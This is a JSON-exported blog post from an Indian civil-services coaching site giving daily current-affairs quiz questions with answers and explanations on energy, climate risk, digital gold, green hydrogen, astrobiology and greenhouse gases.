{"id":2728,"date":"2025-11-13T04:40:25","date_gmt":"2025-11-13T04:40:25","guid":{"rendered":"https:\/\/iasquest.com\/?p=2728"},"modified":"2026-02-11T18:48:20","modified_gmt":"2026-02-11T18:48:20","slug":"daily-current-affairs-12-11-2025","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/daily-current-affairs-12-11-2025\/","title":{"rendered":"DAILY CURRENT AFFAIRS \u2013 12.11.2025"},"content":{"rendered":"\n<p class=\"has-black-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>1. The \u2018World Energy Outlook\u2019 is an annual flagship report of<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\">(a) United Nations Environment Programme (UNEP)<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\">(b) International Energy Agency (IEA)<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-4 wp-block-paragraph\">(c) World Energy Council (WEC)<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\">(d) Organisation of Petroleum Exporting Countries (OPEC)<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\"><strong>Answer: (b) International Energy Agency (IEA)<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-8 wp-block-paragraph\"><strong>In NEWS:<\/strong> World Energy Outlook 2025: IEA warns of mounting security risks in \u2018Age of Electricity\u2019<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-9 wp-block-paragraph\"><strong>World Energy Outlook:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-10\">\n<li>It is the International Energy Agency (IEA)\u2019s annual flagship report providing medium\u2011 to long\u2011term projections of global energy supply, demand, investment, trade and emissions. <strong>Hence option (b) is correct.<\/strong><\/li>\n\n\n\n<li>It uses a scenario\u2011based approach, comparing different futures such as: current policy settings, announced pledges, and pathways aligned with climate objectives (e.g., net\u2011zero).<\/li>\n\n\n\n<li>It covers the entire energy system\u2014fossil fuels, renewables, electricity, end\u2011use sectors, infrastructure, and regional dynamics.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-11 wp-block-paragraph\"><strong>World Energy Outlook 2025:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-12\">\n<li>The world is entering an \u201cAge of Electricity\u201d, with electricity demand growing faster than overall energy use.<\/li>\n\n\n\n<li>Advanced economies are increasingly driving this demand, due in part to data centres and AI facilities.<\/li>\n\n\n\n<li>Critical minerals pose a new risk: for 19 out of 20 key energy-related minerals, a single country dominates refining, with about 70% market share on average.<\/li>\n\n\n\n<li>Supply chain vulnerabilities are rising due to export controls and geopolitical tensions.<\/li>\n\n\n\n<li>While oil and gas supply seems adequate in the near term, markets remain exposed to geopolitical risks, and weaker climate policies may reduce supply buffers.<\/li>\n\n\n\n<li>About 730 million people still lack electricity, and nearly 2 billion rely on polluting cooking fuels. Meeting electricity access by 2035 and clean cooking by 2040 is possible but not guaranteed.<\/li>\n\n\n\n<li>Even with rapid emissions reductions, global warming above 1.5\u00b0C remains likely.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2022)<\/strong> <br><br><strong>Q. Consider the following statements:<\/strong> <br><br>1. &#8220;The Climate Group&#8221; is an international non-profit organization that drives climate action by building large networks and runs them. <br>2. The International Energy Agency in partnership with the Climate Group launched a global initiative &#8220;EP100&#8221;. <br>3. EP100 brings together leading companies committed to driving innovation in energy efficiency and increasing competitiveness while delivering on emission reduction goals. <br>4. Some Indian companies are members of EP100. <br>5. The International Energy Agency is the Secretariat to the &#8216;Under2 Coalition&#8217;. <br><br><strong>Which of the statements given above are correct?<\/strong> <br><br>(a) 1, 2, 4 and 5 <br><strong>(b) 1, 3 and 4 only<\/strong> <br>(c) 2, 3 and 5 only <br>(d) 1, 2, 3, 4 and 5<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-13 wp-block-paragraph\" style=\"color:#0205b8\"><strong>Source: <\/strong><a href=\"https:\/\/www.downtoearth.org.in\/energy\/world-energy-outlook-2025-iea-warns-of-mounting-security-risks-in-age-of-electricity\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.downtoearth.org.in\/energy\/world-energy-outlook-2025-iea-warns-of-mounting-security-risks-in-age-of-electricity<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-14 wp-block-paragraph\"><strong>2. With reference to the Global Climate Risk Index, which of the following statements is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-15 wp-block-paragraph\">I. The Global Climate Risk Index is an annual report published by the United Nations Environment Programme (UNEP).<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-16 wp-block-paragraph\">II. Losses as a percentage of GDP is one of the indicators of the index.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-17 wp-block-paragraph\"><strong>Select the correct answer using the code given below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-18 wp-block-paragraph\">(a) I only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-19 wp-block-paragraph\">(b) II only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-20 wp-block-paragraph\">(c) Both I and II<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-21 wp-block-paragraph\">(d) Neither I nor II<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-22 wp-block-paragraph\"><strong>Answer: (b) II only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-23 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-24 wp-block-paragraph\"><strong>In NEWS: <\/strong>India Improves Its Rank in Global Climate Risk Index 2025<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-25 wp-block-paragraph\"><strong>Global Climate Risk Index (CRI)?<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-26\">\n<li>The Global Climate Risk Index is an annual report published by Germanwatch, a Germany-based environmental think tank. <strong>Hence statement I is incorrect.<\/strong><\/li>\n\n\n\n<li>It analyses and ranks countries according to how severely they have been affected by extreme weather events such as storms, floods, heatwaves, droughts, and cyclones.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-27 wp-block-paragraph\"><strong>Parameters Used<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-28\">\n<li>Number of deaths due to extreme weather events.<\/li>\n\n\n\n<li>Deaths per 100,000 inhabitants.<\/li>\n\n\n\n<li>Economic losses (in US dollars).<\/li>\n\n\n\n<li>Losses as a percentage of GDP. <strong>Hence statement II is correct.<\/strong><\/li>\n\n\n\n<li>A lower rank (closer to 1) means the country was more severely affected.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-29 wp-block-paragraph\"><strong>India\u2019s Performance in Global Climate Risk Index 2025<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-30 wp-block-paragraph\"><strong>Long-Term Ranking (1993\u20132022):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-31\">\n<li>India is ranked 6th most affected country globally.<\/li>\n\n\n\n<li>This means India has been among the top 10 most climate-vulnerable nations for nearly three decades.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-32 wp-block-paragraph\"><strong>Recent-Year Ranking (for 2022\u20132024 period):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-33\">\n<li>For 2024 alone, India\u2019s rank improved to around 15th, showing moderate improvement in disaster preparedness and resilience.<\/li>\n\n\n\n<li>For the period 1995\u20132024, India stands at 9th, indicating continued exposure to extreme weather risks.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-34 wp-block-paragraph\"><strong>Impacts:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-35\">\n<li><strong>Human Losses:<\/strong> Over 80,000 lives lost due to extreme weather events such as cyclones, floods, and heatwaves.<\/li>\n\n\n\n<li><strong>Economic Losses:<\/strong> Estimated losses of about US$170\u2013180 billion during the assessment period.<\/li>\n\n\n\n<li><strong>Major Disasters:<\/strong> Cyclones (Amphan, Tauktae, Yaas), extreme rainfall, flash floods, and prolonged heatwaves have been key contributors.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2018)<\/strong> <br><br><strong>Q. &#8220;Momentum for Change: Climate Neutral Now&#8221; is an initiative launched by<\/strong> <br><br>(a) The Intergovernmental Panel on Climate Change <br>(b) The UNEP Secretariat <br><strong>(c) The UNFCCC Secretariat<\/strong> <br>(d) The World Meteorological Organisation<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-36 wp-block-paragraph\" style=\"color:#0205af\"><strong>Source: <\/strong><a href=\"https:\/\/currentaffairs.adda247.com\/india-improves-its-rank-in-global-climate-risk-index-2025\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/currentaffairs.adda247.com\/india-improves-its-rank-in-global-climate-risk-index-2025\/<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-37 wp-block-paragraph\"><strong>3. Which of the following statements is\/are correct with respect to the \u201cDigital Gold\u201d in the Indian context?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-38 wp-block-paragraph\">1. It is a government-issued electronic bond denominated in gold value.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-39 wp-block-paragraph\">2. It represents a fractional ownership of physical gold held by a private platform on behalf of the investor.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-40 wp-block-paragraph\">3. It is a SEBI-regulated gold-backed mutual fund listed on stock exchanges.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-41 wp-block-paragraph\"><strong>Select the correct answer using the code given below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-42 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-43 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-44 wp-block-paragraph\">(c) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-45 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-46 wp-block-paragraph\"><strong>Answer: (b) 2 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-47 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-48 wp-block-paragraph\"><strong>In NEWS: <\/strong>Sebi warns against digital gold: What is it and the risks involved<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-49 wp-block-paragraph\"><strong>Digital Gold:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-50\">\n<li>Digital gold is an online investment product allowing investors to buy gold in small quantities, stored in vaults by service providers. Ownership is represented digitally, not physically.<\/li>\n\n\n\n<li>Digital gold represents <strong>fractional ownership of physical gold<\/strong> stored in secure vaults by <strong>private platforms<\/strong> (not government or SEBI-regulated entities). <strong>Hence, Statement 2 is correct<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-51 wp-block-paragraph\"><strong>Regulatory Gap: <\/strong>SEBI has warned that <strong>digital gold is not a \u201csecurity\u201d or a \u201ccommodity derivative\u201d<\/strong>, hence lies <strong>outside SEBI\u2019s regulatory ambit<\/strong>, leaving investors unprotected under existing laws.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-52 wp-block-paragraph\"><strong>Risks:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-53\">\n<li>Counter-party default (provider or custodian failure)<\/li>\n\n\n\n<li>Absence of legal framework for ownership &amp; redemption<\/li>\n\n\n\n<li>Misleading marketing claims of \u201csafe\u201d or \u201cregulated\u201d product<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-54 wp-block-paragraph\"><strong>SEBI Advisory (2024\u201325):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-55\">\n<li>SEBI cautioned investors against unregulated digital gold platforms and advised them to prefer <strong>regulated alternatives<\/strong> like <strong>Gold ETFs<\/strong>, <strong>Sovereign Gold Bonds (SGBs)<\/strong>, or <strong>Electronic Gold Receipts (EGRs)<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-56 wp-block-paragraph\"><strong>Note:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-57\">\n<li>The government-issued electronic bond linked to gold is the <strong>Sovereign Gold Bond (SGB)<\/strong>, not \u201cdigital gold.\u201d <strong>Hence, Statement 1 is Incorrect<\/strong><\/li>\n\n\n\n<li>Gold-backed mutual funds or <strong>Gold ETFs<\/strong> are SEBI-regulated instruments, but <strong>digital gold is not<\/strong>. <strong>Hence, Statement 3 is Incorrect<\/strong><\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2022)<\/strong> <br><br><strong>Q. With reference to Non-Fungible Token (NFTs), consider the following statements:<\/strong> <br><br>1. They enable the digital representation of physical assets. <br>2. They are unique cryptographic tokens that exist on a blockchain. <br>3. They can be traded or exchanged at equivalency and therefore can be used as a medium of commercial transactions. <br><br><strong>Which of the statements given above are correct?<\/strong> <br><br><strong>(a) 1 and 2 only<\/strong> <br>(b) 2 and 3 only <br>(c) 1 and 3 only <br>(d) 1, 2 and 3<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-58 wp-block-paragraph\" style=\"color:#0900b5\"><strong>Source: <\/strong><a href=\"https:\/\/indianexpress.com\/article\/business\/sebi-warns-against-digital-gold-risks-involved-10358517\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/indianexpress.com\/article\/business\/sebi-warns-against-digital-gold-risks-involved-10358517\/<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-59 wp-block-paragraph\"><strong>4. Which among the following statements correctly describes the aim of Strategic Interventions for Green Hydrogen Transition (SIGHT)?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-60 wp-block-paragraph\">(a) Funding international green hydrogen projects exclusively<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-61 wp-block-paragraph\">(b) Providing financial incentives for the domestic manufacturing of electrolysers<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-62 wp-block-paragraph\">(c) Subsidizing fossil fuel imports to reduce costs for hydrogen production<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-63 wp-block-paragraph\">(d) Financing the construction of ports for hydrogen export<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-64 wp-block-paragraph\"><strong>Answer: (b) Providing financial incentives for the domestic manufacturing of electrolysers<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-65 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-66 wp-block-paragraph\"><strong>In NEWS:<\/strong> Unlocking India\u2019s Green Hydrogen Production Potential<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-67 wp-block-paragraph\"><strong>Strategic Interventions for Green Hydrogen Transition (SIGHT):<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-68 wp-block-paragraph\"><strong>Launched: <\/strong>As part of National Green Hydrogen Mission in 2023<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-69 wp-block-paragraph\"><strong>Objective: <\/strong>To accelerate the domestic production and use of green hydrogen by supporting manufacturing of key components, primarily electrolysers, and creating an enabling ecosystem for green hydrogen. <strong>Hence option (b) is correct.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-70 wp-block-paragraph\"><strong>Key Features<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-71\">\n<li>Total outlay: \u20b917,490 crore (up to FY2029-30)<\/li>\n\n\n\n<li>Provides subsidies\/incentives for manufacturing of electrolyzers and other critical equipment required for green hydrogen production.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-72 wp-block-paragraph\"><strong>Focus Areas:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-73\">\n<li>Manufacturing of electrolysers<\/li>\n\n\n\n<li>Promoting domestic green hydrogen production<\/li>\n\n\n\n<li>Reducing dependence on imported hydrogen equipment<\/li>\n\n\n\n<li>Supporting scaling-up and commercialization of green hydrogen technologies<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-74 wp-block-paragraph\"><strong>Strategic Goals:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-75\">\n<li>Build a domestic supply chain for hydrogen production and equipment<\/li>\n\n\n\n<li>Encourage private sector participation in green hydrogen production<\/li>\n\n\n\n<li>Reduce costs of green hydrogen over time<\/li>\n\n\n\n<li>Enhance industrial competitiveness in emerging hydrogen markets<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-76 wp-block-paragraph\"><strong>Outcomes &amp; Progress (as per 2025)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-77\">\n<li>Encourages private investment and public-private partnerships in green hydrogen manufacturing.<\/li>\n\n\n\n<li>Supports India\u2019s goal of 125 GW of renewable energy dedicated to hydrogen production by 2030.<\/li>\n\n\n\n<li>Directly linked with pilot projects and industrial adoption across fertilizer, steel, and refinery sectors.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2023)<\/strong> <br><br><strong>Q. Consider the following heavy industries:<\/strong> <br><br>1. Fertilizer plants <br>2. Oil refineries <br>3. Steel plants <br><br><strong>Green hydrogen is expected to play a significant role in decarbonizing how many of the above industries?<\/strong> <br><br>(a) Only one <br>(b) Only two<br><strong>(c) All three<\/strong> <br>(d) None<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-78 wp-block-paragraph\" style=\"color:#0900b5\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2189126\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2189126<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-79 wp-block-paragraph\"><strong>5. The Rare Earth Hypothesis, often cited in astrobiological discussions, primarily addresses which of the following ideas?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-80 wp-block-paragraph\">(a) That planets with Earth-like geological and astronomical conditions enabling complex, multicellular life are extremely uncommon in the universe.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-81 wp-block-paragraph\">(b) That the availability of rare earth minerals determines a planet\u2019s potential to sustain technological civilizations.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-82 wp-block-paragraph\">(c) That the abundance of heavy elements in a planet\u2019s crust governs its biological evolution and mineral resource distribution.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-83 wp-block-paragraph\">(d) That metallicity gradients in galaxies limit the formation of Earth-like planets in habitable zones.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-84 wp-block-paragraph\"><strong>Answer: (a) That planets with Earth-like geological and astronomical conditions enabling complex, multicellular life are extremely uncommon in the universe.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-85 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-86 wp-block-paragraph\"><strong>In NEWS: <\/strong>What\u2019s the status of the rare earth hypothesis?<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-87 wp-block-paragraph\"><strong>Rare Earth Hypothesis:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-88\">\n<li>The <strong>Rare Earth Hypothesis<\/strong> suggests that while <strong>simple microbial life may be common<\/strong> in the universe, the emergence of <strong>complex and intelligent life is extremely rare<\/strong>. <strong>Hence, option (a) is correct<\/strong><\/li>\n\n\n\n<li>It was proposed by <strong>Peter Ward (paleontologist)<\/strong> and <strong>Donald Brownlee (astronomer)<\/strong> in their 2000 book <em>\u201cRare Earth: Why Complex Life is Uncommon in the Universe.\u201d<\/em><\/li>\n\n\n\n<li>The hypothesis <strong>challenges the Copernican Principle (Principle of Mediocrity)<\/strong>, which assumes Earth and life on it are not special or unique.<\/li>\n\n\n\n<li>It argues that <strong>Earth-like conditions suitable for complex life<\/strong> depend on a rare combination of <strong>astronomical, geological, and biological factors<\/strong>.<\/li>\n\n\n\n<li><strong>Key conditions<\/strong> required for complex life, according to the hypothesis, include:<ul><li>A <strong>stable star<\/strong> of the right type (not too hot or short-lived).<\/li><\/ul><ul><li>A <strong>planet in the habitable zone<\/strong>, where liquid water can exist.<\/li><\/ul><ul><li>A <strong>large moon<\/strong> to stabilize Earth\u2019s axial tilt and climate.<\/li><\/ul><ul><li>A <strong>magnetic field<\/strong> to protect the atmosphere from solar radiation.<\/li><\/ul><ul><li><strong>Plate tectonics<\/strong> to recycle nutrients and regulate carbon dioxide.<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Presence of a <strong>Jupiter-like giant planet<\/strong> to shield Earth from frequent asteroid impacts.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2015)<\/strong> <br><br><strong>Q. The term &#8216;Goldilocks Zone&#8217; is often seen news in the context of<\/strong> <br><br>(a) the limits of habitable zone above the surface of the Earth <br>(b) regions inside the Earth where shale gas is available <br><strong>(c) search for the Earth-like planets in outer space<\/strong> <br>(d) search for meteorites containing precious metals<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-89 wp-block-paragraph\" style=\"color:#0900b5\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/sci-tech\/science\/whats-the-status-of-the-rare-earth-hypothesis-explained\/article70267373.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/sci-tech\/science\/whats-the-status-of-the-rare-earth-hypothesis-explained\/article70267373.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-90 wp-block-paragraph\"><strong>6. Consider the following pairs:<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-link-color\"><tbody><tr><td><strong>S.no<\/strong><\/td><td><strong>Greenhouse Gas (GHG)<\/strong><\/td><td><strong>Sources of emission<\/strong><\/td><\/tr><tr><td>1.<\/td><td>Carbon dioxide (CO\u2082)<\/td><td>Burning of fossil fuels, deforestation, cement production<\/td><\/tr><tr><td>2.<\/td><td>Methane (CH\u2084)<\/td><td>Agriculture , landfills, fossil fuel extraction<\/td><\/tr><tr><td>3.<\/td><td>Nitrous oxide (N\u2082O)<\/td><td>Fertilizer use, industrial activities, biomass burning<\/td><\/tr><tr><td>4.<\/td><td>Fluorinated gases (HFCs, PFCs, SF\u2086, NF\u2083)<\/td><td>Refrigeration, air-conditioning, industrial processes<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-91 wp-block-paragraph\"><strong>How many pairs given above are correctly matched?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-92 wp-block-paragraph\">(a) Only one pair<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-93 wp-block-paragraph\">(b) Only two pairs<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-94 wp-block-paragraph\">(c) Only three pairs<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-95 wp-block-paragraph\">(d) All four pairs<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-96 wp-block-paragraph\"><strong>Answer: (d) All four pairs<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-97 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-98 wp-block-paragraph\"><strong>In NEWS: <\/strong>India recorded the highest greenhouse gas emissions for 2024<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-99 wp-block-paragraph\"><strong>Greenhouse Gas (GHG) Emissions:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-100\">\n<li><strong>Greenhouse gases (GHGs)<\/strong> are gases in the Earth\u2019s atmosphere that <strong>trap heat<\/strong> by absorbing and re-emitting infrared radiation.<\/li>\n\n\n\n<li>This process leads to the <strong>greenhouse effect<\/strong>, which warms the Earth\u2019s surface and maintains a temperature suitable for life.<\/li>\n\n\n\n<li>However, excessive GHG emissions cause <strong>global warming and climate change<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-101 wp-block-paragraph\"><strong>Major Greenhouse Gases<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-link-color\"><tbody><tr><td><strong>Gas<\/strong><\/td><td><strong>Share in Global Warming Potential (approx.)<\/strong><\/td><td><strong>Main Sources<\/strong><\/td><td><strong>Atmospheric Lifetime<\/strong><\/td><\/tr><tr><td><strong>Carbon dioxide (CO\u2082)<\/strong><\/td><td>~74%<\/td><td>Burning of fossil fuels, deforestation, cement production<\/td><td>100\u2013200 years<\/td><\/tr><tr><td><strong>Methane (CH\u2084)<\/strong><\/td><td>~17%<\/td><td>Agriculture (rice paddies, livestock), landfills, fossil fuel extraction<\/td><td>12 years<\/td><\/tr><tr><td><strong>Nitrous oxide (N\u2082O)<\/strong><\/td><td>~6%<\/td><td>Fertilizer use, industrial activities, biomass burning<\/td><td>114 years<\/td><\/tr><tr><td><strong>Fluorinated gases (HFCs, PFCs, SF\u2086, NF\u2083)<\/strong><\/td><td>~3%<\/td><td>Refrigeration, air-conditioning, industrial processes<\/td><td>Hundreds to thousands of years<\/td><\/tr><tr><td><strong>Water vapour (H\u2082O)<\/strong><\/td><td>Variable<\/td><td>Natural evaporation and transpiration<\/td><td>Short-lived (few days)<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-102 wp-block-paragraph\"><strong>Hence, all four pairs are correct.<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2019)<\/strong> <br><br><strong>Q. Consider the following:<\/strong> <br><br>1. Carbon monoxide <br>2. Methane <br>3. Ozone <br>4. Sulphur dioxide <br><br><strong>Which of the above are released into atmosphere due to the burning of crop\/biomass residue?<\/strong> <br><br>(a ) 1 and 2 only <br>(b) 2, 3 and 4 only <br>(c) 1 and 4 only <br><strong>(d) 1, 2, 3 and 4<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-103 wp-block-paragraph\" 